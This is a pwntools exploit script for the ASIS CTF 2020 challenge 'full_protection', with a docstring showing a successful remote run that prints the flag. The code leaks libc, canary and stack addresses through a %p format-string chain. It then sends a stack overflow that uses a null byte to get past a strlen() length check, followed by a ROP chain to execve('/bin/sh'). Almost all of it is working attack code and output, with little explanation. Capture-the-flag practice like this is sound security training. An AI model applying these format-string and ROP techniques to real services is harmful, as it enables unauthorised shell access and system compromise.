asisctf 2020

full_protection.py

#!/usr/bin/env python3.8

"""


 hugsy@ubuntu-pwn  ~/ctf/asisctf_2020/full_protection/full_protection_distfiles  ./xp.py remote
[*] '/home/hugsy/ctf/asisctf_2020/full_protection/full_protection_distfiles/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/home/hugsy/ctf/asisctf_2020/full_protection/full_protection_distfiles/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 69.172.229.147 on port 9002: Done
[*] leaked 0x7fbf17cc1b97
[*] libc.base = 0x7fbf17ca0000
[*] canary = 0x2278dc1cd2e97f00
[*] stack = 0x7ffcd8183198
[*] Switching to interactive mode
$ cat flag.txt
ASIS{s3cur1ty_pr0t3ct10n_1s_n07_s1lv3r_bull3t}


"""

import os, sys
from pwn import *

context.update(arch="amd64", # arch="i386", arch="mips", arch="arm",
               endian="little", os="linux", # log_level="debug",
               terminal=["tmux", "split-window", "-h", "-p 65"],)


LOCAL  = True
TARGET_ELF = os.path.realpath("./chall")
TARGET_LIBC = os.path.realpath("./libc-2.27.so")
elf = ELF(TARGET_ELF)
libc = ELF(TARGET_LIBC)


def attach(r):
    if LOCAL:
        bkps = [
        ]
        cmds = [
            # "bp * $_base()+0xa3d",
            "bp * $_base()+0x8c9",
            "c",
        ]
        gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
    return


def exploit(r):
    attach(r)


    # leak chall
    r.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
    res = r.recvuntil(b"\n")
    out = res.split(b".")[-6]
    libc_leak = int(out, 0)
    info("leaked %#x" % libc_leak)
    libc.base = libc_leak - 0x21b97
    info("libc.base = %#x" % libc.base)
    out = res.split(b".")[-8]
    canary = int(out, 0)
    info("canary = %#x" % canary)
    out = res.split(b".")[-4]
    stack = int(out, 0)
    info("stack = %#x" % stack)


    # trigger stack overflow
    # they use gets() to read input (so stop when gets() hits \n), but strlen() to check length (stops at \0)
    # force earlier string termination to trick strlen(), add the canary and banco, return to system()

    pop_rdi_ret = libc.base + 0x2155f
    pop_rsi_ret = libc.base + 0x23e6a
    pop_rdx_ret = libc.base + 0x01b96

    bin_sh = stack-304

    p = flat([
        b"\x00"*8 + b"/bin/sh\0".ljust(0x40, b"A"),
        p64(canary),
        b"B"*8, # rsp

        p64(pop_rdi_ret),
        p64(bin_sh),
        p64(pop_rsi_ret),
        p64(0),
        p64(pop_rdx_ret),
        p64(0),
        p64(libc.base + libc.symbols["execve"]),
    ])
    r.sendline(p)

    r.interactive()
    return


if __name__ == "__main__":
    if len(sys.argv)==2:
        LOCAL = False
        r = remote("69.172.229.147", 9002)
    else:
        LOCAL = True
        # r = process([TARGET_ELF,], env={"LD_PRELOAD": libc.path})
        r = process([TARGET_ELF,],)
    exploit(r)
    sys.exit(0)